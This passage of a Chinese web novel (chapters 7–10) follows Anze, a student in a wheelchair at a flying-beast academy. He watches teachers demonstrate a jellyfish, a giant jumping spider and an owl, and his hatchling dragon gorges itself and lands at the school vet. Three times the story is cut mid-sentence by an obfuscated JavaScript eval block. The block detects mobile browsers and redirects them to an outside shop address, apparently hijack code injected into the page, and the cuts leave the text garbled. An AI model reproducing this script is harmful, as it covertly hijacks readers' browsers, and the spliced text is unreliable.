一旁的柯林非常大声地倒吸了一口凉气，怀里的鳐鱼也有些惊诧地半撑起身子来，刚刚才愿意接触新鲜空气的小龙有一次紧张地弓起背，鳞片倒竖，做出一副随时随地溜之大吉的准备动作来。 要知道，机械兽和活的飞兽不同，水母的“歌声”应该是无法安抚镇静它们的动作的。 可就是说时迟那时快，随着辛西娅老师一个干脆利落的手势，水母先是猛地一收缩，利用反作用力飞快地躲过机械兽的一波猛冲，接着那一根根飘逸柔软的触手突然开始绷紧收缩，随着水母的身体由透明色逐渐变红，那些触手“咻咻”一下齐齐指向了面前的机械兽方阵，大家只听一串“笃笃”的脆响，方才还气势汹汹的机械兽们瞬间破碎瓦解，如大雨倾盆般哗哗散落到地面上去。 大家伙儿还没从刚刚的镇静状态中缓过神来，就连面前出现了这样的场面，也是足足缓了十来秒才有所动静。 大家惊讶地探着身子，叽叽咕咕琢磨了半天也没弄明白发生了什么。安泽被吵得有些烦了，这才睁开眼幽幽地提醒道：“是毒针，速度很快，但是硬度不高，刺到金属表面会碎掉，所以机械兽会被击落，你们也找不到‘凶器’。” 他的一顿分析让所有人齐刷刷看了过来，好半天才有人从地上捡到了什么，叫嚷道：“是真的！这里有断掉的针头！” 人群中浅浅掀起一阵“哇”的惊叹，也不知是在慨叹老师的技艺高超，还是在佩服安泽的观察之细致。 安泽又耷拉下眼皮，躺回去之前，他看见辛西娅老师颇有些惊喜地朝他的方向看去，接着又看向了他的轮椅，最终目光定格在了他的双腿上。 没看见自己之前，她一定还是蛮期待自己能做她的学生的吧。 真是让她失望了，安泽闭上眼，不再去抬头看天了。 7. 第 7 章 看见安泽又闭眼昏睡过去，柯林一阵恨铁不成钢：“真不知道为什么你永远这么困，就没有什么东西能勾起你的兴趣吗？” 出于礼貌，安泽努力抬起眼皮，打了个呵欠，有气无力回道：“我也很羡慕你可以永远对外界事物充满好奇啊，就像襁褓里的婴儿一样，对什么都看不明白，所以感觉什么都很有意思，真是纯真又有活力啊……” 柯林已经懒得再抬手打他了，毕竟出手的结果就是被龙甩一尾巴，自己怀里那吃里扒外不争气的饼也不会向着自己。 安泽眯着眼睛又一秒陷入了沉睡，怀里的小龙也莫名其妙嘚瑟地扭扭屁股，揣起爪子睡觉了。可一人一龙的梦刚做了个开头，背后一阵清脆的巴掌响又把他们惊得睁开了眼—— “嗨！各位宝贝儿们！转身看这里！” 那声清亮到带着些童声的少年音，是从观众席的后边响起来的，距离之近事发之突然，让最后一排的安泽有种被背后偷袭的惊悚感。 一回头，正对上半空中一直倒吊过来的人脸，笑眯眯地盯着他看：“这位蓝头发的小朋友，上课居然打瞌睡，很不乖哦。” 安泽呼吸一滞，双手飞快往后扒拉了两下轮椅，小龙也吓得连退三步，一边害怕地想找地方藏起来，一边又好奇得忍不住瞪圆了眼睛窥探眼前的人。 怪，很怪。不只是因为眼前这人是倒挂在他们的面前，更是因为勾住他双腿的东西，是个大象一般大小的跳蛛。 这跳蛛有着三列分布的八颗大小不一的眼睛，通体呈浅黄色，脑袋和爪子毛茸茸的，背上则是一颗巨大的橘红色星形花纹，随着光照的变化呈现出淡淡的金属光泽。 这只跳蛛与其他飞兽不同，它似乎并不是依靠自身能力飞在天上的，而是同样由一根结实透明的蛛丝，倒吊在操场观众席的顶棚之上。 面对着眼前足足八只眨巴眨巴的黑黢黢的眼睛，安泽再淡定也忍不住背后一阵发毛起来，他犹豫了一下，缓缓伸手捂住了小龙的眼睛。 自己就算了，极光还小，不能看这些。 在一阵惊叹声中，那倒吊着的人又弯着眼睛笑了笑，接着以安泽这辈子都做不出的极其灵活的动作，一个腹部发力起身，双手一撑，跳回蜘蛛的背上——“嗨！宝贝儿们，我是辰星班的米修老师～这是我的宝贝‘星芒跳蛛’韦伯，你们也要喊它老师哦！” 说话的人虽然自称老师，但外观、声音和举手投足都只有十四五岁的模样。他有着一头亮眼的橘红色短发，头戴礼帽、身披斗篷，打扮得像是个年轻魔术师，他的眼下还有一颗星形的胎记，配上他难以捉摸的笑容，看上去颇有几分神秘。 “这么年轻就能当老师？”有人惊讶道。 “只是看起来年轻吧…”一旁有男生小声道，“我爷奶念书的那会，他就已经当了好久的老师了…这么算来少说也得有……” 话音未落，只听“咻”的一声，一根蛛丝应声飞来，三两下封住了男生的嘴。 “上课说小话，不礼貌哦。”米修老师弯起眼，虽然脸上依旧笑眯眯的，但所有人看着都忍不住打了个冷颤。 一直呜呜哝哝的人群瞬间鸦雀无声，米修抱着双臂居高临下，颇为满意地观赏着自己的教学成果，许久才又笑吟吟地打了个响指——“啪！” 听到指令的跳蛛飞速收起蛛丝，先是快速爬到遮阳棚的边缘，接着后腿猛地一屈、一蹬，所有人只感觉一阵劲风拂面，眼前的画面都明显一顿，那身形庞然的巨大蜘蛛几乎以目光不可捕捉的速度，弹跳到操场边缘提前立好的一根柱子上。 天空操场分为空中和地面两个部分，大部分的飞兽训练是像方才的两位老师那般在空中进行，而地面操场大部分是用来锻炼同学们的体能体术的。眼下，操场的地面四周被提前立好了十来根高矮不一的柱子，有的柱子上还带有分叉，显然是在模拟树木的形态。 这时候，负责主持的教导主任终于有了开口的机会：“不知道大家注意到没有，其实我们的韦伯老师，并不是具有一般飞行能力的常态飞兽……” 这句话立刻引起了一番交头接耳，连安泽也来了兴趣，睁大眼睛看过去—— “它没有翅膀，也不具备长时间浮空的能力，它是利用惊人的弹跳能力，以及在空中吐丝织网的方式，达到几乎与飞行无异的效果。” 此时，跳蛛再一次屈腿，飞速弹射到操场另一端的一根柱子上，并在两点之间拉扯出一根透明纤长的蛛丝。大家忍不住惊喝起来——要知道，从操场的这头到那头，少说也有一百多米长，根据体型简单换算一下，相当于一个成年人类一步直接跳跃出27米的成绩，简直惊人到离谱。 更可怕的是，看那蜘蛛的姿势显然没有发挥全部实力，必然是场地大小严重限制了它的发挥…… 所以，一口气蹿到操场的另一头，还能说这不是飞吗？安泽看完，好不容易提起来的兴致，也瞬间被浇灭了——这根本算不上什么逆天改命的契机，最多是另一个领域的天纵奇才罢了。 在安泽心灰意冷却又不敢闭眼睡觉的档口，米修和他的大跳蛛迎来了真正的炫技时刻。台下一双双眼睛只看他们像跳舞一般，优雅而轻盈地从操场的这头跳到那头，等回过神来的时候才发现，头顶不知什么时候已经被一只巨大的透明蛛网覆盖，那跳蛛在这么多人的围观之下，给露天的操场盖了一层薄被，甚至还花了心思，在蛛网上绣出一颗颗星形图案，星星之间还有蛛丝相连，这么一看，完全就是直接在头顶画了一幅星座图来。 虽然这场面视觉效果惊人，但想要服众，显然还得拿出更多本事来。 安泽身边的一个男生对米修老师方才的做派不满，小声嘀咕了一句：“花里胡哨的，有什么用……？” 此时，米修和它的蜘蛛早已在百米开外的操场另一头，而这男生的声音小到连一旁的安泽都听得不大清楚，可下一秒，所有人都清清楚楚地感觉到后脖子一紧，一个声音就在他们的耳畔响了起来：“有用的地方当然很多啦，比如像这样监听上课爱说话的小朋友” 几乎是所有人同时全身一麻，接着齐刷刷抬头确认米修老师的方位。没有人能理解为什么离得那么远声音却还在眼前，直到安泽摸了摸后脖颈，接着扯下来一根几乎不可能被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595873|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现的细丝：“是这玩意儿吧……” “Bingo！没想到上课爱睡觉的小鬼还挺有洞察力的嘛！”米修老师的声音又从耳畔传来，安泽意外的是，他居然在这么短的时间里就能记住并分辨出自己的声音了，“刚才在你们观看表演的时候，韦伯就已经悄悄在你们每个人的脖子上安装了能够传音的蛛丝哦~这一招用在团体实战上，可以方便队友之间的通讯，也能起到窃听敌方情报的作用——怎么样，还觉得没用吗？” 一阵反问吓得一旁的男生都快哭了出来，他连连摇头，又怕老师只能听得见说话，便只能小声回道：“不觉得了……” “嗯~真乖！”米修弯起眼睛笑起来。 “诚如大家所见，我们辰星班的班训就是‘联结’。”米修的声音清晰地传到每个人的耳朵里，“我希望大家像夜空中的星星那样，看似彼此独立闪烁，实则由无数暗线相联结。我会更注重大家的团队合作，教大家如何更好地配合整体，我希望毕业之后，我们辰星班就是一支成熟的、可以直接进行作战的队伍。所以我会在选人方面有些挑剔，但只要到进入班级的那一刻，大家就已经是‘群体’中的一份子了。” 米修老师长相可爱讨喜，看上去也比前两位老师更容易亲近，虽然时不时地有些骇人，但也显然非常受学生的欢迎。 眼看着周围很多人都毅然决然地在志愿书上填写下了“辰星班”的名字，柯林握起笔的手又放下，最后还是叹了口气作罢：“我觉得还是算了，虽然我很喜欢那个大蜘蛛，但是我感觉这种方式不大适合我……我可能只会填辉月班这一个志愿了。” 安泽难得没有回敬他几句，这会他还沉浸在淡淡的失落里——比起别人能轻而易举地飞上天，跳蛛这样本没有飞行能力，却是跳跃奇才的事情反倒是会给他更大的打击。 他为什么就不能长出两双金刚臂，直接代替双腿，爬得比跑还快呢？ 一旁的柯林也同样陷入困扰之中，他啃着笔帽，纠结了半天还是忍不住问安泽：“如果，我是说万分之一的概率，万一我没有被辉月班选上，那我会怎么样……” 安泽睨了他一眼，平静道：“当然是像你成绩下滑一样顺滑地滑档进流云班啊。” 柯林一听，紧张地吞了口口水。 流云班。这大概是所有人都避之不及的最坏的结局。 在米修老师高调退场之后，所有人眼睁睁看着潘妮老师，以前所未有之朴素的方式，步行走到了操场的正中央。 “不好意思大家，刚刚身体出了点状况，耽误了一会儿。” 在所有人的注视之下，潘妮老师有些不好意思地挠挠头，笑道： “大家好，我是流云班的潘妮老师，这是我的搭档，猫头鹰阿夜。” 她伸手摸了摸肩膀上那只戴着眼镜的猫头鹰，接着那猫头鹰便站到了她的手臂上，平静地望着面前一双双眼睛。 “就像大家看到的那样，阿夜的体型很小，虽然具备良好的飞行能力，但其实并不能带着我一起飞。” 话音落，全场哗然——没听错吧，这个老师居然不会飞？！ 8. 第 8 章 不会飞？安泽又一次睁开眼，周围的议论声也早已沸反盈天。 安泽心想，不会又是跟米修老师那样，用别的方式替代飞行的假“走地鸡”吧——在驭风族内，人们给飞不上天的人起了个不太好听的代称，叫“走地鸡”。 “走地鸡怎么当老师啊，真的能教好学生吗……” “我的天哪，听说过流云班很菜，但是没想到会是这么夸张的程度。” “是特殊教育班吗？专门收有残缺的那种学生……” “嘘！小声一点啦！那个瘸腿的安泽就在旁边呢！” 安泽把这所有的对话听得一清二楚，倒也懒得搭理，一直耷拉着眼，懒洋洋望着站在操场中央演讲台上的潘妮——这必然是他未来的班主任了。 她还是早上的那副装扮，一袭学院风的深蓝色长袍，一条同色的条纹围巾，一副和猫头鹰同款的圆框眼镜，看着真真切切像个教书的老师。 “很抱歉，我个人能力有限，确实没办法给大家呈现出像前几位老师那样精彩绝伦的表演。我也知道，大家一定都希望找一个能力强大的老师学习，也许还有很多同学现在正在心里疯狂地祈祷，千万不要滑档进流云班呢。” 潘妮老师说话没有什么架子，却也不是平时在台下那般随便，娓娓道来不疾不徐的语调加上亲切随和的做派，倒是让大家听得舒服又开心。 有人听到这段话会心一笑，有人则有些脸红了，但这段话一出，台下嗡嗡地讲小话的声音，也确实是明显小了下去——大家都莫名其妙愿意去听这个潘妮老师说话。 “先让我隆重介绍一下我的好搭档阿夜。”潘妮老师抬起手，那猫头鹰便自动停留在了她的手背上，挺胸抬头、神情平静自然地看着所有人。 柯林忍不住感慨：“哇，这个猫头鹰的面相看起来真的好像一个读过很多书的很严肃的老师……” 安泽没有反驳，这只猫头鹰的眼睛看上去和其他的飞兽不同，那是一眼看过去便能感觉到聪慧过人的双眸，潘妮老师接下来的话，也确实印证了这一点： “阿夜虽然体型小，没有承载一个成年人的力量，但是它有着非常聪明的脑袋。”潘妮老师说，“阿夜是目前唯一一只可以看懂人类文字，并且能和所有飞兽无障碍交流的飞兽，它的这项天赋在协同作战中，往往可以起到非常重要的作用，而且体型小、无法承重虽是劣势但也可以转化成优势，比如狭小的岩洞地形、拥挤的灌木林深处，阿夜都可以替我们一探究竟，为我提供高效准确的前线侦查。” 话音刚落，那只猫头鹰便腾空而起，在搭建好的驯兽网间飞速穿梭，最后又落回了潘妮老师的肩膀上。 “而我本人因为无法进行飞行训练，所以把更多的时间投入到了飞兽语的学习中，除了和自己缔结契约的阿夜之外，我目前也可以做到和大部分飞兽进行沟通，并且也学习了一些飞兽心理学，目前也是在负责学院的飞兽心理健康教育。” 果然还是有本事的，安泽心想着，却觉得能够接受——如果不是硬要他从操场这头跳到那头，其他的事情，也许自己努力也是可以做到的呢。 接下来的演讲，潘妮老师就这样站在原地，完全依靠口头叙述，做完了自我介绍和展示。 特别朴实无华，但是意外的是，所有人都听得十分认真，包括一直打瞌睡的安泽。 潘妮老师说：“虽然可能我这个样子不大容易受到大家的信任，但是毕竟每年或多或少都会有同学，或是主动或是不得已来到我们流云班，我今天的宣讲就是想让未来流云班的同学们放心，哪怕是我这样的‘走地鸡’老师，也一定会让你们每一个人都学有所获。” “流云班的孩子们，我接下来的任务，就是为你们创造一切可能，让你们大胆地抬头做梦、尽情地展翅飞翔。”潘妮老师说，“请相信我，我会和阿夜一起，拼尽全力把你们往靠近天空的方向托举的！” …… 一直到中午饭点，安泽的耳畔还在回响着潘妮老师最后的结束语。 她说会尽全力把他们往天空的方向托举，说是会创造一切可能让他们飞翔，可她自己都飞不上天……她真的能做得到吗？ 此时，“飞友食堂”的讲台上，负责飞兽饮食与健康课的亨特老师，正在黑板上指指点点，告诉大家不同种类的飞兽，需要什么样的饮食结构、破壳后的第一餐有没有什么额外需要注意的地方。 而讲台之下，同学们带着各自的飞兽，正乖巧地坐在长桌前，桌上是各种各样分量不一的肉类、蔬菜、膳食。每一份菜的旁边，都有标注区分是人食还是兽食。 早起参加仪式，忙活了一个上午，同学们都饿得饥肠辘辘，但是老师没有说可以开饭，必然也是没有人敢随意动筷子。 睡了差不多一上午的安泽没有感觉太过饥饿，可显然怀里的极光并不这么想—— 看着一桌子的好菜，又看看讲台上滔滔不绝的亨特老师，那小龙极度不情愿地扭起身子，一边挣扎着想要从安泽怀里下来，一边拼命伸肉乎乎的前爪，想要去够桌子边缘的那颗白煮蛋：“咪！” 一旁的柯林就忍不住劝阻道：“不可以哦咪咪，老师还没说可以开饭呢。” “咪！！”极光一听，十分恼火地朝柯林骂了一声，爪子又继续向桌前刨去。 安泽睁开眼，没有搭理柯林，只是偷偷看了一眼正在讲台上介绍飞兽食谱的老师，悄悄做了个向前伸懒腰的姿势，然后神不知鬼不觉地将那颗蛋摸进袖子里、收到桌下。 他早就提前做好功课，龙几乎不挑食，食堂里的饭菜极光可以随便吃，只要一顿控制好食量就不会出什么问题。 安泽面不改色地靠回椅背，刚低头想给极光剥开蛋壳，下一秒就听“咕咚”一声—— 那小家伙居然嘴一张、信子一卷，直接把一整颗蛋连壳一口气生吞了！ 目睹了全过程的安泽和柯林顿时惊恐地瞪大了眼，却又因为偷偷喂食不敢吱声，只能眼睁睁看着极光的喉咙隆起一块鸡蛋大的凸起，然后随着脖子一路掉进了肚里。 “蛋……蛋壳能吃吗？会不会划伤啊……”安泽不敢确定，因为教科书上没有人给龙喂过蛋壳。 柯林给不了他答案，顺道又问出一个问题：“这么大一口不嚼是没事的吗？喉咙真的不会被撑破吗……” 安泽倒吸了一口气，赶忙把龙抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595874|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来左看右看，甚至还帮他从喉咙到肚子顺着捋了几遍，最后只换来极光一个疑惑的眼神。 不过这个眼神也没有持续多久，吞下了带壳鸡蛋之后，它只是缓了几秒钟，又开始扒拉着爪子，要去够桌上的食物了。 没什么不舒服！还饿着！还白吃了个蛋！！ 两个人对视了一眼，一起倒吸了一口凉气，刚想说再观察一会儿，就听亨特老师说：“现在，就请大家根据我所说的内容，给自己和各自的伙伴挑选午餐吧！祝大家用餐愉快！” 亨特老师说最后一句话的时候，极光已经抻长了脖子，一副雄赳赳气昂昂严阵以待蓄势待发的模样，“用餐愉快”的最后一个音节还没落下，这在人怀里瑟缩了一整天的胆小龙，两条后腿竟爆发出了惊人的力量，扒拉住安泽的手臂狠狠一蹬，有如一颗高速飞行的流星一般，极速发射、直直砸向面前的餐桌。 “嘭”的一声闷响！在所有人的惊呼之下，极光一脚踩住装着牛肉的餐盘，一脚摁住一边企图跟它抢食的鳐鱼饼饼，脑袋猛地往下一扎，一块比它体型还大的牛肉就这样咕咚一下掉进了肚里！ “老天！”安泽的睡意被彻底吓醒，他下意识伸手想去抓龙，没想到极光直接抬起尾巴，一屁股坐到了他的手臂上，接着伸出两条前爪，抱起另一边的玉米就啃。 安泽又一次被吓到：“诶不是，玉米芯不能吃啊……！” 可话还没说完，极光已经又吃空了两盘点心，此时此刻，其他的飞兽还没来得及开动，安泽面前的那一片桌子已经快被一扫而空了，而可怜的安泽却根本站不起身来，完全无法抓回这只坐在桌子中央大快朵颐的饕餮，而一旁的其他同学也被这阵势惊到，根本不敢随意出手阻拦。 还好亨特老师反应快，在极光抹抹嘴巴即将向对面桌进攻之前，一个跨步直接从讲台上疾驰而来。在靠近极光不远处时，老师肩上那只长着翅膀的大蟾蜍腮帮子一鼓，飞出的长舌头先是把极光的嘴筒子一缠，还没等这家伙开始扭动挣扎，老师便伸手一把抓住他的尾巴，将整个龙倒挂着拎到半空—— “这是谁的龙？？”老师的声音里也带着难以置信的颤抖，他四处张望着，最后终于低头看到了默默举手的安泽。 “老天爷，这吃得太多了，你看看它的肚皮！”老师伸手一指，所有人的目光都聚焦在了那撑得像皮球似的圆肚皮上。 安泽也开始害怕了，小声问：“它、它会被撑死吗……” “那倒不至于，但估计会折腾一阵子。”亨特老师的声音平静下来，也让安泽悬起来的心渐渐落地，“这倒不是最麻烦的地方……” “什么……？”安泽又抬起头，右眼皮开始不安地跳动起来。 “刚刚上课没有认真听吧？”亨特老师有些不满道，“在课上我已经说过了，龙和其他的飞兽不一样，它第一餐的进食量，决定了它今后饭量的大小。” 安泽愣了一下，接着倒抽了一口凉气。 “我不知道你们家条件怎么样，如果你想好好养活他的话，可以让你父母试着联系一下附近的屠宰场。”亨特老师拍了拍他的肩膀，“从今往后，他们单靠这只龙就能过活了。” 9. 第 9 章 此时此刻，安泽还没有意识到亨特老师这句话背后暗藏的杀机。 他只是感觉隐约有些不妙，接着注意力就完全被极光的大肚皮给吸引走了——虽然亨特老师已经说了不会出事，但是看着它几乎已经半透明的球状肚子，安泽还是一阵前所未有的心慌。 “老师，我还是带它去一趟兽医院……” 一得到老师的批准，安泽立刻一手抓住还在舔嘴唇的极光，同时也没亏待自己，另一手胡乱往嘴里塞了两口馅饼，正想往下吞的时候一股铺天盖地的腥味直冲大脑，安泽干呕了一声差点儿吐出来，睁眼才发现自己拿成了兽食的饼。 他改天一定要跟学校提意见，人和飞兽必须分餐！必须！！ 一旁的柯林也十分义气，立刻打包了两份学员餐，把那正趴在桌上吃海藻的鳐鱼往老师手里一塞，自告奋勇就要跟过去。 鳐鱼刚坐成了直挺挺的“L”形，怀里抱着海藻饼认真咀嚼着，结果一抬头发现自己被转手了，它抬头看看亨特老师又看看渐行渐远的柯林，反应了大约三秒，豆子大的眼睛开始狂涌眼泪，同时胸腔爆发出了凄厉的哭声：“汪啊啊啊啊啊啊啊啊！！！！” 这一声哭嚎崩天毁地、山呼海啸，吓得整个食堂的人纷纷投来目光，一旁正要逃跑的柯林也很快被大家锁定了—— “这是你的飞兽吗？你怎么把它一个人丢在这儿？” “这可是它破壳后的第一顿饭啊！你真的忍心吗？” “老天爷啊，你快把它带走吧！我的耳朵都要被它震破了！” 柯林在众人的目光中羞得面红耳赤，偷跑不成，感觉这顿饭也是真的很难再坐回去吃了。他不得不收回步子，又快速打包好一份鳐鱼的午餐，接着像夹手提包似的将鳐鱼收到左臂下，低着头风风火火跟着安泽逃窜走了。 奔逃之中，鳐鱼一步步从柯林的腋下蠕动到了他的头上，整条鱼被风吹得像是操场中央随风摇曳的族旗。而此时已经变成一颗龙球的极光，上一秒还躺在安泽的大腿上拍着肚皮，下一秒看到一旁拎着餐盒的柯林，立刻一个肥球打挺，扑棱着没长全的小翅膀张嘴就要咬过去。 柯林被吓了一跳，连忙把餐盒收到一边，惊恐道：“你都要撑死还要吃？！” 极光扑了个空，气得不轻，又朝柯林的手龇起牙，刚要咪过去，就被安泽严厉喝止：“不许咬人，也不要再吃了。” 看出来安泽没有开玩笑的态度，极光只能悻悻收回牙，最后想想还是不解气，于是一个翻面儿，拿后爪狠狠往柯林手背上踹了两脚，还顺便踹开了饭盒盖儿：“咪！” “怎么这样！”柯林头顶鳐鱼帽子，手忙脚乱地揉着手，哭丧道，“这才刚开学呢，怎么感觉全天下的飞兽都开始欺负我了！” 安泽一把抓回乱弹的龙球，一边给极光揉肚子，一边认真道：“柯林，你完全去心理咨询教室做个兼职，负责飞兽的情绪发泄什么的，对大家都很好呢。” 柯林恨不得把鳐鱼拍到他的脸上：“滚啊！那我的情绪就找你发泄！！” 学校的兽医院在食堂不远处，是一幢两层的独立建筑，一层是门诊和治疗区，二层则是住院病房。 此时，怀里的极光翻身拍了拍肚皮，安泽一眼瞥见那鳞片间被撑出肉粉色肚皮的肚子，赶紧一手抱着龙，一手飞速转着轮椅冲进医院里去。 刚开学还正值晌午，兽医院人流量不大，一听到门口有动静，值班室里就探出一根滑溜溜、长长扁扁的脑袋来。 没错，这是一“根”脑袋，细细长长通体闪着银光，两侧长着纽扣一般圆圆的黄色大眼睛，就这样鬼魅一般慢悠悠探到了安泽的面前。 安泽立刻紧急刹车，怀里的龙球吓得也是“叽”的一声打了个饱嗝儿。一旁的柯林后知后觉反应过来，伸手摘下脸上的鳐鱼挡住半张脸，惊恐地喊着：“妈呀谁家皮带飞出来了！！” 鳐鱼也惊恐地和“皮带”大眼瞪小眼：“呜汪！” 两人两兽被吓傻的工夫，“皮带”突然像是被什么东西勒住了一般，“咕啾”一下被猛地拉回值班室里。下一秒，一个懒洋洋的男声传了出来：“不要随便吓人啊小雪山。” 探出头来的，是个穿着白色医袍的男人，约莫三十来岁的样子，满头乱糟糟的黑发，胡茬子也没清理，衣摆是刚睡出来的新鲜褶皱，整个人看起来像是刚睡醒一般，带着满脸的惺忪睡意。 柯林看了看他又看了看安泽，忽然觉得两个人那双困顿的眼睛简直如出一辙，忍不住小声道：“喂安泽！你长大以后不会就长这样吧？” 安泽没吱声，心里倒是不乐意的——自己虽然每天困是困了点儿，但也不至于这么不修边幅的，明明自己出门都会好好捯饬一番，怎么可能沦落成这个样子…… 正想着，那男人便蹬着个转椅从办公室里滑溜到了他们面前，手里还攥着那只滑溜溜的“皮带”，声音还是带着睡意：“哪个倒霉蛋大中午的不吃饭，要得过来急诊了？” 一听到吃饭，圆滚滚的极光立刻开心地举起翅膀：“咪！” 男人一听这声儿，睡意一下子醒了过来，又一蹬转椅，滑到极光面前：“哦！是你啊！今天刚破壳的那只小龙！！！” 这么一说，安泽想起来了，自己在破壳仪式上看过这个男人，当时他是被校长安排去观察极光翅膀情况的医生之一，因为整个人太过不修边幅，所以让他记得十分清楚。 他抬眼看了看男人胸前的名片，上面写着“夏缪尔医生”，而此时缠在他手臂上的，并不是一根皮带，而是一条细长的银白色带鱼——最近大概是捅了海鲜的窝了。 确定对方不是什么坏人，安泽才小心翼翼地把手里的龙球捧过去递给他，还没等自己开口说出来意，夏缪尔医生就已经注意到了：“瞧这肚子！第一餐就没亏待自己啊！” 说完，他伸手朝着极光的肚皮上“嘣嘣”弹了两下，极光立刻惊恐地蠕动起四肢，像是想蹦回安泽的怀里，但是全然没有余力了。 “医生，它不会吃坏吧……”安泽连忙道，“刚刚一不留神让它吃太多了，肚子都变成这样了……” “吃了这么多，估计不大好受啊。”夏缪尔医生说着，轻轻把极光放到桌上，就看那孩子趔趔趄趄往前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595875|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃了两步，便“噗通”一声闷闷倒在了桌上，彻底力竭了。 看着极光皱着眉头，半闭着眼睛躺在桌上“咪啊咪啊”地哀嚎，安泽吓得差点儿从轮椅上弹了出去，夏缪尔医生却始终是一脸淡定。他轻轻捻起极光的翅膀，将那小猪崽子似的龙翻了个面儿，然后用手指轻轻绕着他的肚皮打圈儿按揉。 “龙这种生物就是这样，吃东西很容易没有节制，今后这种情况估计也不在少数。”夏缪尔医生把极光往安泽的方向推了，又朝他招招手，示意他自己来试试。 安泽有些紧张地将手贴到龙肚皮上，那滚烫的、带着轻微蠕动的质感叫他全身爬满了鸡皮疙瘩。 “来，这个位置就是龙的胃，像我刚才那样，一圈一圈轻轻揉，不要着急。”夏缪尔医生说。 安泽顺着鳞片的纹路，一下下在极光的肚皮上画起圈来。刚开始极光显然是不舒服的，安泽的手指一贴过去就开始咪咪咪地挣扎，四肢胡乱蹬着，却很快被那只叫“小雪山”的飞天带鱼给绑了起来。 大约按摩到第十圈的时候，安泽明显感觉到极光的身体放松了下来，带鱼也缓慢地松开身子，极光的爪子滑落下来，耷拉在身体边似乎感觉空荡荡的，想了想又并拢起来，抱住了安泽的手指。 又按摩了一会儿，极光的尾巴先没了动静，很快眼皮子也耷拉下来，居然就这样呼哧呼哧睡着了。 安泽一阵惊喜，却不敢吱声，一直等到夏缪尔医生的停止信号，这才小心翼翼地从它的爪子里抽回手指头来。 “这样就好了？”安泽问。 “难说，只是这会儿累着了，万一消化不了，一会儿等它醒了还得喂点药吃。”夏缪尔医生说。 “……好。”安泽垂下头，一想到破壳第一天就让它进了医院，难免感到一阵自责。 他自认为情绪不算十分外露，但夏缪尔医生还是察觉到了他的低落，拍拍他的肩膀：“别想太多，龙嘛，总归不是普通的飞兽，你要是想好好把它养大，就得多学习、多打听，也要做好吃苦的准备。” 安泽看了看一旁挺着个肚子香甜入睡的极光，嘴角忍不住上扬起来，可看到它残缺的左翅，笑容便又僵在了脸上。 这会儿，柯林实在是饿得不行，正带着鳐鱼在外边吃着盒饭，值班室里没有旁人，安泽想了想，这才小声地问：“医生，请问它……还有机会能飞上天吗？” “基本不可能了哦。”夏缪尔医生耸耸肩，非常直白地回答道，“你要知道，学校是绝对不可能放过一条新生的龙的，今天早上那个阵仗你也看到了，全院专家会诊得出来的结果，就是先天残疾，终生不可能飞行的。” 说完，他把手里那条带鱼捋直了，挂到了安泽的脖子上给他玩：“别钻牛角尖嘛，你看，小雪山也带不动我，但是我们也还是找到了合适的工作啊，想开点，天空可不是唯一的选择。” 安泽没吱声，只感觉自己的指尖都变得冰凉了。 天空确实不是唯一的选择，但却是他唯一的梦想啊。 如果这一声注定不能飞的话，那自己存在的意义，到底是什么呢？ 10. 第 10 章 见安泽不吱声，夏缪尔医生又靠回转椅上，换了个话题：“你的腿是怎么回事？” 安泽几乎已经对这个问题免疫：“天生的，一动就疼，疼得根本站不起来。” 夏缪尔医生挑挑眉：“就你这样还想着骑龙？” 安泽有些不服气地咬了咬牙：“总有办法的，腿又没断……哪怕断了都一定会有办法的。” “哈哈，看不出来啊，长得这么一张丧脸，居然这么有干劲儿呢！”夏缪尔医生笑着揉了揉他的脑袋，又开口道，“那不如跟你的小龙比比？看看到底是你的腿先好起来，还是它能先飞上天？” 这人实在没个正形儿，让安泽不知道他是在嘲讽自己，还是在暗示自己其实真有办法，于是他只能权当没听到后半句话，看着他乱糟糟的衣服小声道：“那我先出去吃个饭，暂时就不打扰您午休了，您的制服看上去快要过劳死了……” 夏缪尔医生嗤笑道：“你懂什么，这叫个性。” 安泽耸耸肩，又看了一眼熟睡的极光，刚转过轮椅打算离开，就听夏缪尔医生喊住他：“志愿打算填哪个班啊？” 有的选吗？安泽垂下眸子，回答道：“流云班。” “小潘妮的班啊！”夏缪尔医生笑道，“很适合你！” 安泽依旧听不出他是什么意思，直到对方又一次强调道：“真的，就你的情况来说，她是最适合你的老师。” 安泽愣了愣，转身看着他的眼睛说：“好。” 推着轮椅出门的时候，门口的柯林正从鳐鱼手里抢下一包零食—— 柯林：“这是我的！你可真是完蛋，正经饭不爱吃，就喜欢跟人抢零嘴儿。” 鳐鱼：“汪！！” 柯林：“说你还不服气？？还有，巧克力碰都别想碰，老师说过，狗吃巧克力会死掉的！” 